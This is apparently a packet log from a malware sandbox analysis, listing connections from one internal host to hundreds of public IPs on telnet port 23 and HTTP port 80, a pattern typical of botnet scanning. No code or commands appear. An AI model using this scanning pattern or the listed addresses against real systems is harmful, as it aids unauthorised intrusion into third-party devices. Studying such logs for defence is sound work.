Dec 3, 2024 21:30:46.260040045 CET	39086	23	192.168.2.23	187.199.4.132
Dec 3, 2024 21:30:46.260047913 CET	46450	23	192.168.2.23	134.121.71.43
Dec 3, 2024 21:30:46.260051966 CET	55544	23	192.168.2.23	158.107.98.95
Dec 3, 2024 21:30:46.260051966 CET	39964	23	192.168.2.23	168.168.34.37
Dec 3, 2024 21:30:46.260054111 CET	54430	23	192.168.2.23	91.104.170.187
Dec 3, 2024 21:30:46.260060072 CET	45200	23	192.168.2.23	157.91.73.108
Dec 3, 2024 21:30:46.260067940 CET	58438	23	192.168.2.23	51.25.109.80
Dec 3, 2024 21:30:46.260067940 CET	54738	23	192.168.2.23	24.102.155.93
Dec 3, 2024 21:30:46.260067940 CET	39922	23	192.168.2.23	108.226.186.89
Dec 3, 2024 21:30:46.260070086 CET	48154	23	192.168.2.23	101.26.86.182
Dec 3, 2024 21:30:46.260071993 CET	49650	23	192.168.2.23	137.28.97.110
Dec 3, 2024 21:30:46.285058975 CET	23	60096	123.0.238.106	192.168.2.23
Dec 3, 2024 21:30:46.285098076 CET	23	35948	72.146.232.158	192.168.2.23
Dec 3, 2024 21:30:46.285109997 CET	23	46008	101.197.163.119	192.168.2.23
Dec 3, 2024 21:30:46.285224915 CET	46008	23	192.168.2.23	101.197.163.119
Dec 3, 2024 21:30:46.285377979 CET	60096	23	192.168.2.23	123.0.238.106
Dec 3, 2024 21:30:46.285387039 CET	35948	23	192.168.2.23	72.146.232.158
Dec 3, 2024 21:30:46.316349983 CET	23	54382	187.212.12.243	192.168.2.23
Dec 3, 2024 21:30:46.316386938 CET	23	57176	158.88.102.253	192.168.2.23
Dec 3, 2024 21:30:46.316397905 CET	23	54374	142.60.255.113	192.168.2.23
Dec 3, 2024 21:30:46.316675901 CET	54382	23	192.168.2.23	187.212.12.243
Dec 3, 2024 21:30:46.316678047 CET	54374	23	192.168.2.23	142.60.255.113
Dec 3, 2024 21:30:46.316677094 CET	57176	23	192.168.2.23	158.88.102.253
Dec 3, 2024 21:30:46.341646910 CET	23	59020	142.210.237.219	192.168.2.23
Dec 3, 2024 21:30:46.341700077 CET	23	59020	197.238.136.67	192.168.2.23
Dec 3, 2024 21:30:46.341721058 CET	23	59020	111.202.12.191	192.168.2.23
Dec 3, 2024 21:30:46.341830969 CET	59020	23	192.168.2.23	142.210.237.219
Dec 3, 2024 21:30:46.341834068 CET	59020	23	192.168.2.23	111.202.12.191
Dec 3, 2024 21:30:46.341850042 CET	59020	23	192.168.2.23	197.238.136.67
Dec 3, 2024 21:30:46.380153894 CET	23	54022	43.2.232.97	192.168.2.23
Dec 3, 2024 21:30:46.380182028 CET	23	56754	27.104.204.122	192.168.2.23
Dec 3, 2024 21:30:46.380192041 CET	23	46450	134.121.71.43	192.168.2.23
Dec 3, 2024 21:30:46.380203009 CET	23	39086	187.199.4.132	192.168.2.23
Dec 3, 2024 21:30:46.380420923 CET	54022	23	192.168.2.23	43.2.232.97
Dec 3, 2024 21:30:46.380420923 CET	39086	23	192.168.2.23	187.199.4.132
Dec 3, 2024 21:30:46.380424976 CET	46450	23	192.168.2.23	134.121.71.43
Dec 3, 2024 21:30:46.380465031 CET	56754	23	192.168.2.23	27.104.204.122
Dec 3, 2024 21:30:47.120304108 CET	59010	80	192.168.2.23	73.108.231.65
Dec 3, 2024 21:30:47.120304108 CET	59010	80	192.168.2.23	18.211.7.205
Dec 3, 2024 21:30:47.120304108 CET	59010	80	192.168.2.23	181.236.160.87
Dec 3, 2024 21:30:47.120306969 CET	59010	80	192.168.2.23	71.241.199.137
Dec 3, 2024 21:30:47.120307922 CET	59010	80	192.168.2.23	156.152.234.108
Dec 3, 2024 21:30:47.120304108 CET	59010	80	192.168.2.23	51.30.12.228
Dec 3, 2024 21:30:47.120307922 CET	59010	80	192.168.2.23	196.184.18.109
Dec 3, 2024 21:30:47.120306969 CET	59010	80	192.168.2.23	64.213.12.242
Dec 3, 2024 21:30:47.120307922 CET	59010	80	192.168.2.23	84.80.80.191
Dec 3, 2024 21:30:47.120306969 CET	59010	80	192.168.2.23	32.52.200.179
Dec 3, 2024 21:30:47.120307922 CET	59010	80	192.168.2.23	95.173.119.198
Dec 3, 2024 21:30:47.120306969 CET	59010	80	192.168.2.23	113.147.65.116
Dec 3, 2024 21:30:47.120313883 CET	59010	80	192.168.2.23	43.224.132.202
Dec 3, 2024 21:30:47.120307922 CET	59010	80	192.168.2.23	98.250.251.241
Dec 3, 2024 21:30:47.120313883 CET	59010	80	192.168.2.23	73.240.148.23
Dec 3, 2024 21:30:47.120318890 CET	59010	80	192.168.2.23	57.80.127.128
Dec 3, 2024 21:30:47.120317936 CET	59010	80	192.168.2.23	181.179.122.117
Dec 3, 2024 21:30:47.120306969 CET	59010	80	192.168.2.23	96.138.239.29
Dec 3, 2024 21:30:47.120316029 CET	59010	80	192.168.2.23	116.89.72.201
Dec 3, 2024 21:30:47.120306969 CET	59010	80	192.168.2.23	107.185.75.32
Dec 3, 2024 21:30:47.120318890 CET	59010	80	192.168.2.23	109.170.255.145
Dec 3, 2024 21:30:47.120316029 CET	59010	80	192.168.2.23	106.112.235.0
Dec 3, 2024 21:30:47.120313883 CET	59010	80	192.168.2.23	79.143.137.11
Dec 3, 2024 21:30:47.120306969 CET	59010	80	192.168.2.23	70.59.74.111
Dec 3, 2024 21:30:47.120318890 CET	59010	80	192.168.2.23	67.165.85.6
Dec 3, 2024 21:30:47.120316029 CET	59010	80	192.168.2.23	58.115.115.241
Dec 3, 2024 21:30:47.120307922 CET	59010	80	192.168.2.23	52.145.201.68
Dec 3, 2024 21:30:47.120318890 CET	59010	80	192.168.2.23	46.56.224.146
Dec 3, 2024 21:30:47.120313883 CET	59010	80	192.168.2.23	12.110.131.42
Dec 3, 2024 21:30:47.120316029 CET	59010	80	192.168.2.23	61.221.108.188
Dec 3, 2024 21:30:47.120316029 CET	59010	80	192.168.2.23	130.122.83.128
Dec 3, 2024 21:30:47.120331049 CET	59010	80	192.168.2.23	185.106.6.240
Dec 3, 2024 21:30:47.120313883 CET	59010	80	192.168.2.23	97.223.129.229
Dec 3, 2024 21:30:47.120316029 CET	59010	80	192.168.2.23	89.165.54.210
Dec 3, 2024 21:30:47.120318890 CET	59010	80	192.168.2.23	44.110.203.30
Dec 3, 2024 21:30:47.120316029 CET	59010	80	192.168.2.23	110.230.253.216
Dec 3, 2024 21:30:47.120331049 CET	59010	80	192.168.2.23	129.164.231.71
Dec 3, 2024 21:30:47.120313883 CET	59010	80	192.168.2.23	183.236.75.193
Dec 3, 2024 21:30:47.120316029 CET	59010	80	192.168.2.23	107.226.250.115
Dec 3, 2024 21:30:47.120315075 CET	59010	80	192.168.2.23	178.59.183.48
Dec 3, 2024 21:30:47.120331049 CET	59010	80	192.168.2.23	115.99.6.127
Dec 3, 2024 21:30:47.120315075 CET	59010	80	192.168.2.23	200.11.18.9
Dec 3, 2024 21:30:47.120331049 CET	59010	80	192.168.2.23	64.8.100.136
Dec 3, 2024 21:30:47.120331049 CET	59010	80	192.168.2.23	182.169.32.170
Dec 3, 2024 21:30:47.120331049 CET	59010	80	192.168.2.23	197.253.59.50
Dec 3, 2024 21:30:47.120331049 CET	59010	80	192.168.2.23	186.140.24.86
Dec 3, 2024 21:30:47.120419979 CET	59010	80	192.168.2.23	218.251.189.170
Dec 3, 2024 21:30:47.120419979 CET	59010	80	192.168.2.23	76.148.251.234
Dec 3, 2024 21:30:47.120419979 CET	59010	80	192.168.2.23	198.116.35.7
Dec 3, 2024 21:30:47.120420933 CET	59010	80	192.168.2.23	102.60.181.107
Dec 3, 2024 21:30:47.120620966 CET	59010	80	192.168.2.23	123.240.89.124
Dec 3, 2024 21:30:47.120620966 CET	59010	80	192.168.2.23	18.145.102.122
Dec 3, 2024 21:30:47.120620966 CET	59010	80	192.168.2.23	93.109.211.120
Dec 3, 2024 21:30:47.120620966 CET	59010	80	192.168.2.23	187.240.42.70
Dec 3, 2024 21:30:47.120620966 CET	59010	80	192.168.2.23	48.98.7.80
Dec 3, 2024 21:30:47.120620966 CET	59010	80	192.168.2.23	157.191.168.219
Dec 3, 2024 21:30:47.120620966 CET	59010	80	192.168.2.23	109.234.214.16
Dec 3, 2024 21:30:47.120623112 CET	59010	80	192.168.2.23	52.200.108.226
Dec 3, 2024 21:30:47.120620966 CET	59010	80	192.168.2.23	178.101.159.218
Dec 3, 2024 21:30:47.120623112 CET	59010	80	192.168.2.23	181.135.94.144
Dec 3, 2024 21:30:47.120623112 CET	59010	80	192.168.2.23	126.39.75.57
Dec 3, 2024 21:30:47.120623112 CET	59010	80	192.168.2.23	84.2.157.168
Dec 3, 2024 21:30:47.120623112 CET	59010	80	192.168.2.23	95.154.134.134
Dec 3, 2024 21:30:47.120623112 CET	59010	80	192.168.2.23	114.207.48.70
Dec 3, 2024 21:30:47.120623112 CET	59010	80	192.168.2.23	31.86.182.119
Dec 3, 2024 21:30:47.120623112 CET	59010	80	192.168.2.23	223.162.195.215
Dec 3, 2024 21:30:47.120625019 CET	59010	80	192.168.2.23	202.97.254.254
Dec 3, 2024 21:30:47.120625019 CET	59010	80	192.168.2.23	58.168.110.144
Dec 3, 2024 21:30:47.120625019 CET	59010	80	192.168.2.23	135.109.102.143
Dec 3, 2024 21:30:47.120625019 CET	59010	80	192.168.2.23	162.82.86.148
Dec 3, 2024 21:30:47.120625019 CET	59010	80	192.168.2.23	161.26.235.62
Dec 3, 2024 21:30:47.120625019 CET	59010	80	192.168.2.23	17.86.28.212
Dec 3, 2024 21:30:47.120625019 CET	59010	80	192.168.2.23	185.162.190.230
Dec 3, 2024 21:30:47.120625019 CET	59010	80	192.168.2.23	191.132.168.221
Dec 3, 2024 21:30:47.120631933 CET	59010	80	192.168.2.23	87.20.9.48
Dec 3, 2024 21:30:47.120631933 CET	59010	80	192.168.2.23	121.95.75.48
Dec 3, 2024 21:30:47.120631933 CET	59010	80	192.168.2.23	196.118.176.152
Dec 3, 2024 21:30:47.120632887 CET	59010	80	192.168.2.23	161.249.62.52
Dec 3, 2024 21:30:47.120632887 CET	59010	80	192.168.2.23	207.5.76.25
Dec 3, 2024 21:30:47.120631933 CET	59010	80	192.168.2.23	54.119.235.220
Dec 3, 2024 21:30:47.120632887 CET	59010	80	192.168.2.23	76.79.68.28
Dec 3, 2024 21:30:47.120631933 CET	59010	80	192.168.2.23	90.244.225.182
Dec 3, 2024 21:30:47.120632887 CET	59010	80	192.168.2.23	87.32.23.213
Dec 3, 2024 21:30:47.120631933 CET	59010	80	192.168.2.23	74.38.57.242
Dec 3, 2024 21:30:47.120632887 CET	59010	80	192.168.2.23	142.121.136.148
Dec 3, 2024 21:30:47.120631933 CET	59010	80	192.168.2.23	152.93.170.225
Dec 3, 2024 21:30:47.120631933 CET	59010	80	192.168.2.23	120.235.172.114
Dec 3, 2024 21:30:47.120632887 CET	59010	80	192.168.2.23	57.197.211.127
Dec 3, 2024 21:30:47.120632887 CET	59010	80	192.168.2.23	135.114.73.214
Dec 3, 2024 21:30:47.120632887 CET	59010	80	192.168.2.23	153.235.201.91
Dec 3, 2024 21:30:47.120632887 CET	59010	80	192.168.2.23	220.104.109.200
Dec 3, 2024 21:30:47.120632887 CET	59010	80	192.168.2.23	95.139.225.224
Dec 3, 2024 21:30:47.120632887 CET	59010	80	192.168.2.23	112.96.197.234
Dec 3, 2024 21:30:47.120631933 CET	59010	80	192.168.2.23	119.65.68.138
Dec 3, 2024 21:30:47.120632887 CET	59010	80	192.168.2.23	169.147.210.149
Dec 3, 2024 21:30:47.120631933 CET	59010	80	192.168.2.23	113.87.14.119
Dec 3, 2024 21:30:47.120632887 CET	59010	80	192.168.2.23	193.206.228.88
Dec 3, 2024 21:30:47.120631933 CET	59010	80	192.168.2.23	90.199.111.60
Dec 3, 2024 21:30:47.120632887 CET	59010	80	192.168.2.23	17.178.93.4
Dec 3, 2024 21:30:47.120632887 CET	59010	80	192.168.2.23	34.155.147.75
Dec 3, 2024 21:30:47.120632887 CET	59010	80	192.168.2.23	117.193.202.65
Dec 3, 2024 21:30:47.120632887 CET	59010	80	192.168.2.23	45.246.111.117
Dec 3, 2024 21:30:47.120632887 CET	59010	80	192.168.2.23	209.104.253.69
Dec 3, 2024 21:30:47.120632887 CET	59010	80	192.168.2.23	86.232.206.232
Dec 3, 2024 21:30:47.120632887 CET	59010	80	192.168.2.23	84.32.173.144
Dec 3, 2024 21:30:47.120632887 CET	59010	80	192.168.2.23	124.71.251.147
Dec 3, 2024 21:30:47.120632887 CET	59010	80	192.168.2.23	18.122.50.179
Dec 3, 2024 21:30:47.120632887 CET	59010	80	192.168.2.23	98.142.171.199
Dec 3, 2024 21:30:47.120631933 CET	59010	80	192.168.2.23	218.97.185.167
Dec 3, 2024 21:30:47.120632887 CET	59010	80	192.168.2.23	122.147.161.226
Dec 3, 2024 21:30:47.120632887 CET	59010	80	192.168.2.23	142.70.189.219
Dec 3, 2024 21:30:47.120663881 CET	59010	80	192.168.2.23	204.71.243.192
Dec 3, 2024 21:30:47.120632887 CET	59010	80	192.168.2.23	36.212.49.126
Dec 3, 2024 21:30:47.120663881 CET	59010	80	192.168.2.23	149.19.5.185
Dec 3, 2024 21:30:47.120632887 CET	59010	80	192.168.2.23	163.2.97.175
Dec 3, 2024 21:30:47.120663881 CET	59010	80	192.168.2.23	165.248.12.172
Dec 3, 2024 21:30:47.120632887 CET	59010	80	192.168.2.23	136.36.53.48
Dec 3, 2024 21:30:47.120666027 CET	59010	80	192.168.2.23	102.63.177.83
Dec 3, 2024 21:30:47.120663881 CET	59010	80	192.168.2.23	145.241.170.174
Dec 3, 2024 21:30:47.120666027 CET	59010	80	192.168.2.23	105.14.125.163
Dec 3, 2024 21:30:47.120663881 CET	59010	80	192.168.2.23	183.18.142.237
Dec 3, 2024 21:30:47.120666027 CET	59010	80	192.168.2.23	54.125.253.60
Dec 3, 2024 21:30:47.120663881 CET	59010	80	192.168.2.23	205.76.59.153
Dec 3, 2024 21:30:47.120666027 CET	59010	80	192.168.2.23	200.153.79.117
Dec 3, 2024 21:30:47.120666981 CET	59010	80	192.168.2.23	133.232.245.172
Dec 3, 2024 21:30:47.120666981 CET	59010	80	192.168.2.23	38.210.40.182
Dec 3, 2024 21:30:47.120666981 CET	59010	80	192.168.2.23	42.191.240.144
Dec 3, 2024 21:30:47.120666981 CET	59010	80	192.168.2.23	144.24.176.141
Dec 3, 2024 21:30:47.120676041 CET	59010	80	192.168.2.23	94.212.193.86
Dec 3, 2024 21:30:47.120676041 CET	59010	80	192.168.2.23	216.90.42.56
Dec 3, 2024 21:30:47.120676041 CET	59010	80	192.168.2.23	18.22.232.120
Dec 3, 2024 21:30:47.120676041 CET	59010	80	192.168.2.23	109.194.196.136
Dec 3, 2024 21:30:47.120687962 CET	59010	80	192.168.2.23	115.128.255.104
Dec 3, 2024 21:30:47.120687008 CET	59010	80	192.168.2.23	36.180.95.183
Dec 3, 2024 21:30:47.120687962 CET	59010	80	192.168.2.23	97.22.249.163
Dec 3, 2024 21:30:47.120687962 CET	59010	80	192.168.2.23	93.41.230.57
Dec 3, 2024 21:30:47.120687962 CET	59010	80	192.168.2.23	106.68.105.246
Dec 3, 2024 21:30:47.120687962 CET	59010	80	192.168.2.23	178.179.107.11
Dec 3, 2024 21:30:47.120687962 CET	59010	80	192.168.2.23	9.219.208.165
Dec 3, 2024 21:30:47.120687962 CET	59010	80	192.168.2.23	206.171.6.129
Dec 3, 2024 21:30:47.120687962 CET	59010	80	192.168.2.23	151.38.129.118
Dec 3, 2024 21:30:47.120687962 CET	59010	80	192.168.2.23	179.11.192.156
Dec 3, 2024 21:30:47.120687962 CET	59010	80	192.168.2.23	79.179.129.2
Dec 3, 2024 21:30:47.120692015 CET	59010	80	192.168.2.23	212.33.108.253
Dec 3, 2024 21:30:47.120692015 CET	59010	80	192.168.2.23	198.75.186.11
Dec 3, 2024 21:30:47.120692015 CET	59010	80	192.168.2.23	25.226.123.25
Dec 3, 2024 21:30:47.120692968 CET	59010	80	192.168.2.23	172.150.162.63
Dec 3, 2024 21:30:47.120692968 CET	59010	80	192.168.2.23	149.175.207.20
Dec 3, 2024 21:30:47.120692968 CET	59010	80	192.168.2.23	94.47.89.124
Dec 3, 2024 21:30:47.120692968 CET	59010	80	192.168.2.23	87.180.248.174
Dec 3, 2024 21:30:47.120692968 CET	59010	80	192.168.2.23	168.110.171.8
Dec 3, 2024 21:30:47.120697975 CET	59010	80	192.168.2.23	109.179.185.124
Dec 3, 2024 21:30:47.120697975 CET	59010	80	192.168.2.23	104.144.208.125
Dec 3, 2024 21:30:47.120697975 CET	59010	80	192.168.2.23	187.78.174.208
Dec 3, 2024 21:30:47.120697975 CET	59010	80	192.168.2.23	210.239.118.201
Dec 3, 2024 21:30:47.120697975 CET	59010	80	192.168.2.23	137.192.195.131
Dec 3, 2024 21:30:47.120697975 CET	59010	80	192.168.2.23	93.158.177.19
Dec 3, 2024 21:30:47.120697975 CET	59010	80	192.168.2.23	202.198.191.195
Dec 3, 2024 21:30:47.120697975 CET	59010	80	192.168.2.23	185.232.124.202
Dec 3, 2024 21:30:47.120702982 CET	59010	80	192.168.2.23	45.169.235.147
Dec 3, 2024 21:30:47.120702982 CET	59010	80	192.168.2.23	203.52.25.108
Dec 3, 2024 21:30:47.120702982 CET	59010	80	192.168.2.23	73.43.210.27
Dec 3, 2024 21:30:47.120703936 CET	59010	80	192.168.2.23	51.246.40.200
Dec 3, 2024 21:30:47.120702982 CET	59010	80	192.168.2.23	209.6.11.204
Dec 3, 2024 21:30:47.120703936 CET	59010	80	192.168.2.23	24.188.112.64
Dec 3, 2024 21:30:47.120702982 CET	59010	80	192.168.2.23	210.75.177.224
Dec 3, 2024 21:30:47.120704889 CET	59010	80	192.168.2.23	162.56.183.189
Dec 3, 2024 21:30:47.120707035 CET	59010	80	192.168.2.23	1.229.67.15
Dec 3, 2024 21:30:47.120704889 CET	59010	80	192.168.2.23	87.128.96.146
Dec 3, 2024 21:30:47.120702982 CET	59010	80	192.168.2.23	180.253.203.45
Dec 3, 2024 21:30:47.120707035 CET	59010	80	192.168.2.23	199.156.197.100
Dec 3, 2024 21:30:47.120704889 CET	59010	80	192.168.2.23	212.180.174.87
Dec 3, 2024 21:30:47.120702982 CET	59010	80	192.168.2.23	129.219.10.183
Dec 3, 2024 21:30:47.120707035 CET	59010	80	192.168.2.23	150.191.41.65
Dec 3, 2024 21:30:47.120704889 CET	59010	80	192.168.2.23	205.27.95.49
Dec 3, 2024 21:30:47.120702982 CET	59010	80	192.168.2.23	202.133.60.114
Dec 3, 2024 21:30:47.120704889 CET	59010	80	192.168.2.23	170.171.233.6
Dec 3, 2024 21:30:47.120704889 CET	59010	80	192.168.2.23	110.134.170.114
Dec 3, 2024 21:30:47.120704889 CET	59010	80	192.168.2.23	113.235.26.193
Dec 3, 2024 21:30:47.120704889 CET	59010	80	192.168.2.23	54.159.80.142
Dec 3, 2024 21:30:47.120733976 CET	59010	80	192.168.2.23	51.36.254.143
Dec 3, 2024 21:30:47.120733976 CET	59010	80	192.168.2.23	136.72.35.175
Dec 3, 2024 21:30:47.120733976 CET	59010	80	192.168.2.23	171.60.232.216
Dec 3, 2024 21:30:47.120733976 CET	59010	80	192.168.2.23	166.243.201.155
Dec 3, 2024 21:30:47.120742083 CET	59010	80	192.168.2.23	76.22.91.91
Dec 3, 2024 21:30:47.120742083 CET	59010	80	192.168.2.23	193.212.37.63
Dec 3, 2024 21:30:47.120742083 CET	59010	80	192.168.2.23	216.225.96.121
Dec 3, 2024 21:30:47.120778084 CET	59010	80	192.168.2.23	102.89.36.179
Dec 3, 2024 21:30:47.120778084 CET	59010	80	192.168.2.23	101.185.131.176
Dec 3, 2024 21:30:47.120778084 CET	59010	80	192.168.2.23	188.44.155.78
Dec 3, 2024 21:30:47.120778084 CET	59010	80	192.168.2.23	187.70.53.59
Dec 3, 2024 21:30:47.120778084 CET	59010	80	192.168.2.23	159.61.42.134
Dec 3, 2024 21:30:47.120778084 CET	59010	80	192.168.2.23	133.37.163.88
Dec 3, 2024 21:30:47.120778084 CET	59010	80	192.168.2.23	131.139.241.44
Dec 3, 2024 21:30:47.120778084 CET	59010	80	192.168.2.23	149.250.199.208
Dec 3, 2024 21:30:47.120781898 CET	59010	80	192.168.2.23	64.72.99.221
Dec 3, 2024 21:30:47.120781898 CET	59010	80	192.168.2.23	122.142.181.64
Dec 3, 2024 21:30:47.120781898 CET	59010	80	192.168.2.23	196.235.196.159
Dec 3, 2024 21:30:47.120781898 CET	59010	80	192.168.2.23	46.138.184.13
Dec 3, 2024 21:30:47.120781898 CET	59010	80	192.168.2.23	45.44.179.67
Dec 3, 2024 21:30:47.120781898 CET	59010	80	192.168.2.23	212.113.127.181
Dec 3, 2024 21:30:47.120781898 CET	59010	80	192.168.2.23	108.36.200.115
Dec 3, 2024 21:30:47.120781898 CET	59010	80	192.168.2.23	203.113.155.170
Dec 3, 2024 21:30:47.120784044 CET	59010	80	192.168.2.23	92.253.55.24
Dec 3, 2024 21:30:47.120784044 CET	59010	80	192.168.2.23	139.238.86.230
Dec 3, 2024 21:30:47.120784044 CET	59010	80	192.168.2.23	134.186.72.86
Dec 3, 2024 21:30:47.120784044 CET	59010	80	192.168.2.23	211.225.136.147
Dec 3, 2024 21:30:47.120784044 CET	59010	80	192.168.2.23	147.208.45.101
Dec 3, 2024 21:30:47.120784044 CET	59010	80	192.168.2.23	189.253.68.60
Dec 3, 2024 21:30:47.120784044 CET	59010	80	192.168.2.23	192.161.7.15
Dec 3, 2024 21:30:47.120786905 CET	59010	80	192.168.2.23	124.241.189.113
Dec 3, 2024 21:30:47.120786905 CET	59010	80	192.168.2.23	149.219.93.213
Dec 3, 2024 21:30:47.120786905 CET	59010	80	192.168.2.23	217.114.159.52
Dec 3, 2024 21:30:47.120786905 CET	59010	80	192.168.2.23	138.179.69.186
Dec 3, 2024 21:30:47.120786905 CET	59010	80	192.168.2.23	217.59.222.57
Dec 3, 2024 21:30:47.120790005 CET	59010	80	192.168.2.23	4.115.100.10
Dec 3, 2024 21:30:47.120786905 CET	59010	80	192.168.2.23	63.1.215.162
Dec 3, 2024 21:30:47.120790005 CET	59010	80	192.168.2.23	74.201.217.206
Dec 3, 2024 21:30:47.120789051 CET	59010	80	192.168.2.23	99.158.87.114
Dec 3, 2024 21:30:47.120793104 CET	59010	80	192.168.2.23	53.167.11.142
Dec 3, 2024 21:30:47.120789051 CET	59010	80	192.168.2.23	147.213.200.32
Dec 3, 2024 21:30:47.120786905 CET	59010	80	192.168.2.23	165.86.102.222
Dec 3, 2024 21:30:47.120789051 CET	59010	80	192.168.2.23	34.245.22.242
Dec 3, 2024 21:30:47.120786905 CET	59010	80	192.168.2.23	51.180.181.188
Dec 3, 2024 21:30:47.120786905 CET	59010	80	192.168.2.23	95.126.139.226
Dec 3, 2024 21:30:47.120793104 CET	59010	80	192.168.2.23	147.133.107.127
Dec 3, 2024 21:30:47.120786905 CET	59010	80	192.168.2.23	78.109.83.130
Dec 3, 2024 21:30:47.120793104 CET	59010	80	192.168.2.23	115.190.92.104
Dec 3, 2024 21:30:47.120789051 CET	59010	80	192.168.2.23	180.242.113.113
Dec 3, 2024 21:30:47.120789051 CET	59010	80	192.168.2.23	198.108.37.204
Dec 3, 2024 21:30:47.120786905 CET	59010	80	192.168.2.23	39.230.0.14
Dec 3, 2024 21:30:47.120819092 CET	59010	80	192.168.2.23	93.159.242.204
Dec 3, 2024 21:30:47.120789051 CET	59010	80	192.168.2.23	140.67.52.169
Dec 3, 2024 21:30:47.120789051 CET	59010	80	192.168.2.23	1.70.62.17
Dec 3, 2024 21:30:47.120789051 CET	59010	80	192.168.2.23	163.120.77.59
Dec 3, 2024 21:30:47.120786905 CET	59010	80	192.168.2.23	79.51.68.239
Dec 3, 2024 21:30:47.120789051 CET	59010	80	192.168.2.23	100.192.120.125
Dec 3, 2024 21:30:47.120786905 CET	59010	80	192.168.2.23	87.213.75.189
Dec 3, 2024 21:30:47.120789051 CET	59010	80	192.168.2.23	156.56.57.34
Dec 3, 2024 21:30:47.120786905 CET	59010	80	192.168.2.23	106.47.238.87
Dec 3, 2024 21:30:47.120789051 CET	59010	80	192.168.2.23	17.46.81.155
Dec 3, 2024 21:30:47.120786905 CET	59010	80	192.168.2.23	135.82.14.85
Dec 3, 2024 21:30:47.120790005 CET	59010	80	192.168.2.23	12.14.127.73
Dec 3, 2024 21:30:47.120793104 CET	59010	80	192.168.2.23	143.156.98.132
Dec 3, 2024 21:30:47.120790005 CET	59010	80	192.168.2.23	71.238.25.3
Dec 3, 2024 21:30:47.120790005 CET	59010	80	192.168.2.23	122.197.32.103
Dec 3, 2024 21:30:47.120786905 CET	59010	80	192.168.2.23	115.165.114.226
Dec 3, 2024 21:30:47.120825052 CET	59010	80	192.168.2.23	43.78.246.234
Dec 3, 2024 21:30:47.120790005 CET	59010	80	192.168.2.23	57.103.87.23
Dec 3, 2024 21:30:47.120831013 CET	59010	80	192.168.2.23	93.208.184.206
Dec 3, 2024 21:30:47.120790005 CET	59010	80	192.168.2.23	100.142.164.210
Dec 3, 2024 21:30:47.120831013 CET	59010	80	192.168.2.23	50.20.80.48
Dec 3, 2024 21:30:47.120832920 CET	59010	80	192.168.2.23	140.87.245.162
Dec 3, 2024 21:30:47.120790005 CET	59010	80	192.168.2.23	169.177.218.67
Dec 3, 2024 21:30:47.120789051 CET	59010	80	192.168.2.23	91.104.71.125
Dec 3, 2024 21:30:47.120832920 CET	59010	80	192.168.2.23	76.245.49.65
Dec 3, 2024 21:30:47.120789051 CET	59010	80	192.168.2.23	169.153.128.194
Dec 3, 2024 21:30:47.120790005 CET	59010	80	192.168.2.23	107.57.85.164
Dec 3, 2024 21:30:47.120831013 CET	59010	80	192.168.2.23	87.154.51.111
Dec 3, 2024 21:30:47.120789051 CET	59010	80	192.168.2.23	211.144.193.61
Dec 3, 2024 21:30:47.120839119 CET	59010	80	192.168.2.23	209.95.93.185
Dec 3, 2024 21:30:47.120790005 CET	59010	80	192.168.2.23	130.58.177.149
Dec 3, 2024 21:30:47.120839119 CET	59010	80	192.168.2.23	123.71.206.85
Dec 3, 2024 21:30:47.120790005 CET	59010	80	192.168.2.23	87.54.215.72
Dec 3, 2024 21:30:47.120839119 CET	59010	80	192.168.2.23	97.97.185.8
Dec 3, 2024 21:30:47.120831013 CET	59010	80	192.168.2.23	4.165.143.185
Dec 3, 2024 21:30:47.120839119 CET	59010	80	192.168.2.23	138.41.17.116
Dec 3, 2024 21:30:47.120790005 CET	59010	80	192.168.2.23	96.242.37.166
Dec 3, 2024 21:30:47.120832920 CET	59010	80	192.168.2.23	145.129.62.147
Dec 3, 2024 21:30:47.120831013 CET	59010	80	192.168.2.23	44.139.255.24
Dec 3, 2024 21:30:47.120845079 CET	59010	80	192.168.2.23	66.136.96.224
Dec 3, 2024 21:30:47.120831013 CET	59010	80	192.168.2.23	209.98.155.41
Dec 3, 2024 21:30:47.120832920 CET	59010	80	192.168.2.23	198.229.236.58
Dec 3, 2024 21:30:47.120839119 CET	59010	80	192.168.2.23	101.88.153.51
Dec 3, 2024 21:30:47.120845079 CET	59010	80	192.168.2.23	177.239.178.18
Dec 3, 2024 21:30:47.120832920 CET	59010	80	192.168.2.23	171.160.103.218
Dec 3, 2024 21:30:47.120851994 CET	59010	80	192.168.2.23	70.202.137.19
Dec 3, 2024 21:30:47.120831013 CET	59010	80	192.168.2.23	93.220.180.167
Dec 3, 2024 21:30:47.120832920 CET	59010	80	192.168.2.23	213.102.159.19
Dec 3, 2024 21:30:47.120851994 CET	59010	80	192.168.2.23	201.251.35.49
Dec 3, 2024 21:30:47.120845079 CET	59010	80	192.168.2.23	164.122.104.192
Dec 3, 2024 21:30:47.120851994 CET	59010	80	192.168.2.23	123.69.31.182
Dec 3, 2024 21:30:47.120845079 CET	59010	80	192.168.2.23	68.76.75.245
Dec 3, 2024 21:30:47.120851994 CET	59010	80	192.168.2.23	192.244.203.129
Dec 3, 2024 21:30:47.120845079 CET	59010	80	192.168.2.23	129.125.140.36
Dec 3, 2024 21:30:47.120851994 CET	59010	80	192.168.2.23	151.190.171.243
Dec 3, 2024 21:30:47.120845079 CET	59010	80	192.168.2.23	178.237.166.179
Dec 3, 2024 21:30:47.120839119 CET	59010	80	192.168.2.23	218.153.204.2
Dec 3, 2024 21:30:47.120851994 CET	59010	80	192.168.2.23	126.95.46.23
Dec 3, 2024 21:30:47.120845079 CET	59010	80	192.168.2.23	90.39.195.195
Dec 3, 2024 21:30:47.120851994 CET	59010	80	192.168.2.23	18.39.50.43
Dec 3, 2024 21:30:47.120845079 CET	59010	80	192.168.2.23	137.185.60.170
Dec 3, 2024 21:30:47.120851994 CET	59010	80	192.168.2.23	96.36.2.134
Dec 3, 2024 21:30:47.120862961 CET	59010	80	192.168.2.23	104.161.238.97
Dec 3, 2024 21:30:47.120862961 CET	59010	80	192.168.2.23	183.226.240.46
Dec 3, 2024 21:30:47.120862961 CET	59010	80	192.168.2.23	42.87.41.125
Dec 3, 2024 21:30:47.120862961 CET	59010	80	192.168.2.23	163.243.202.123
Dec 3, 2024 21:30:47.120862961 CET	59010	80	192.168.2.23	92.220.241.148
Dec 3, 2024 21:30:47.120862961 CET	59010	80	192.168.2.23	90.230.89.85
Dec 3, 2024 21:30:47.120862961 CET	59010	80	192.168.2.23	210.201.104.214
Dec 3, 2024 21:30:47.120862961 CET	59010	80	192.168.2.23	66.115.191.176
Dec 3, 2024 21:30:47.120873928 CET	59010	80	192.168.2.23	142.101.1.28
Dec 3, 2024 21:30:47.120873928 CET	59010	80	192.168.2.23	126.150.54.95
